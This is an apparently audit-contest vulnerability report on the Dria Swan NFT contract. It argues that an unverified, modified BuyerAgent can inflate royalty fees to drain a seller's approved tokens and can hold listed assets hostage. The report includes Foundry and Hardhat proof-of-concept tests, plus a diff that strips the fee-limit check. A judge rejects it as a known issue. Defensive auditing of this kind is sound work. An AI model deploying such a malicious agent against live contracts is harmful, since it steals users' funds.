Dria
Swan
NFTHardhat
21,000 USDC
View results
Previous Next
Submission Details
Severity: medium
Invalid

A malicious buyerAgent can greatly inflate royalty fees and steal seller tokens

jsondoge

Summary

Swan.sol contract does not verify if the BuyerAgent origin is indeed BuyerAgentFactory which was deployed buy the original team. Because of this malicious buyerAgents can be passed as parameters to both list()/relist() functions.

Vulnerability Details

Inflated buyerFee

Malicious BuyerAgent can circumvent default limits placed on royaltyFee and set it to whatever they desire. Because of this:

function transferRoyalties(AssetListing storage asset) internal {
uint256 buyerFee = (asset.price * asset.royaltyFee) / 100; // <- buyerFee can be greatly inflated beyond 100%
...
}

The conditions for the exploit to work are:

  • seller has to pass malicious buyer as param

  • seller has to have allowance set for Swan beyond the price passed

If these are satisfied the exploit will steal tokens from seller. A piece of stolen tokens will also be passed to the Swan owner as driaFee.

The BuyerAgent royaltyLimit() limit circumvention can happen in many ways as the contract can be freely modified. Some of them are:

  • modifying royaltyFee() function

  • removing setRoyaltyFee() limits checks

  • removing limits from the constructor
    ...

The malicious BuyerAgent can try making better educated guesses by checking the seller allowances and balance and looking for large sums. But in the end it would still be a guess, because there is no way for the BuyerAgent at being called at royaltyFee() function to know what the set price is going to be:

listings[_asset] = AssetListing({ // <- price will only be available after `royaltyFee()` has returned a value.
createdAt: block.timestamp,
royaltyFee: buyer.royaltyFee(), // <- malicious actor can do any number of checks here (seller allowance/balance), but _price is yet to be set.
price: _price,
seller: msg.sender,
status: AssetStatus.Listed,
buyer: _buyer,
round: round
});

The guess can be somewhat improved if it is called from relist() because the initial price will be set, but the malicious actor can't be sure it's not going to be changed to a bigger value (and therefor failing the transaction after inflated royaltyFee grows the buyerFee amount beyond sellers balance).

Malicious buyer agent can also use make royaltyFee() initially return an expected amount (if seller tries to check the fee explicitly). And only change it's value once royaltyFee() is called inside list() simply by checking who the msg.sender is.

Taking asset hostage

Because, swan calls old buyerAgent before relisting to the new one. The buyerAgent can decide to revert all functions, this way the asset can be held hostage. By neither finalizing with purchase() nor allowing to relist to other buyerAgents.

Impact

Greatly exaggerated buyerFee will steal tokens from seller and still set the price as it was supposed to. And malicious buyer can hold listed assets hostage. Medium - because the sellers has to pass the malicious address by themselves and also depends if malicious actor can add his address to the app UI to gain visibility.

Tools Used

Manual review + foundry tests

function test_MaliciousBuyer() public {
string memory name = "test";
string memory symbol = "TT";
bytes memory desc = "Test asset";
uint256 price = 0.01 ether;
​
// Fund seller
vm.prank(owner);
weth9.transfer(address(seller), 10 ether);
​
address mrMalicious = makeAddr("mrMalicious");
vm.prank(mrMalicious);
// MrMalicious deploys a modified buyer agent with infilated royalty fee (10000) max should be 100
MaliciousBuyerAgent mba = new MaliciousBuyerAgent("MBA", "Mr Malicious", 10000, AMOUNT_PER_ROUND, address(swanProxy), mrMalicious);
​
​
uint256 balanceBefore = weth9.balanceOf(seller);
​
vm.startPrank(seller);
// Allows swan to spend all seller's weth
weth9.approve(address(swanProxy), weth9.balanceOf(seller));
​
// LIST
swanProxy.list(name, symbol, desc, price, address(mba));
​
// Seller was charged x100
uint256 balanceAfter = weth9.balanceOf(seller);
​
// Both assertions pass
assertEq(balanceBefore - balanceAfter, price * 100);
​
// MrMalicious gets 99% due to 1% Dria fee
assertEq(weth9.balanceOf(address(mba)), price * 99);
}

Adding re-written hardhat PoC:

it("Seller uses malicious buyer agent address in list()", async function () {
const MaliciousBuyerAgent = await ethers.getContractFactory("MaliciousBuyerAgent");
const mba = await MaliciousBuyerAgent
.connect(mrMalicious)
// royaltyFee set at 10000 (max allowed should be 100)
.deploy("MBA", "Mr Malicious", 10000, AMOUNT_PER_ROUND, swan, await mrMalicious.getAddress());
​
await mba.waitForDeployment();
​
// fund seller
await transferTokens(token, [[await seller.getAddress(), PRICE1 * 1000n]]);
​
// seller approves all own balance
await token.connect(seller).approve(swan, await token.balanceOf(seller));
​
const balanceBefore = await token.balanceOf(seller);
// seller lists an asset with the malicious buyer agent
await swan.connect(seller).list(NAME, SYMBOL, DESC, PRICE1, await mba.getAddress());
​
const balanceAfter = await token.balanceOf(seller);
​
expect(balanceBefore - balanceAfter).to.be.equal(PRICE1 * 100n, "Seller lost 100x times the fee amount");
// MrMalicious gets 99% due to 1% Dria fee
expect(await token.balanceOf(await mba.getAddress())).to.be.equal(PRICE1 * 99n, "MrMalicious got 99% of the inflated fee 1% goes to Dria");
});

MaliciousBuyerAgent only change from BuyerAgent is the removed royaltyLimit check in the constructor:

address _operator,
address _owner
) Ownable(_owner) {
- if (_royaltyFee < 1 || _royaltyFee > 100) {
- revert InvalidFee(_royaltyFee);
- }
royaltyFee = _royaltyFee;
​
swan = Swan(_operator);
amountPerRound = _amountPerRound;

Recommendations

Add a check to see that the BuyerAgent was indeed deployed buy the BuyerAgent factory. Reject any other addresses.

Updates

Lead Judging Commences

inallhonesty Lead Judge
12 months ago
inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Invalidated
Reason: Known issue

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.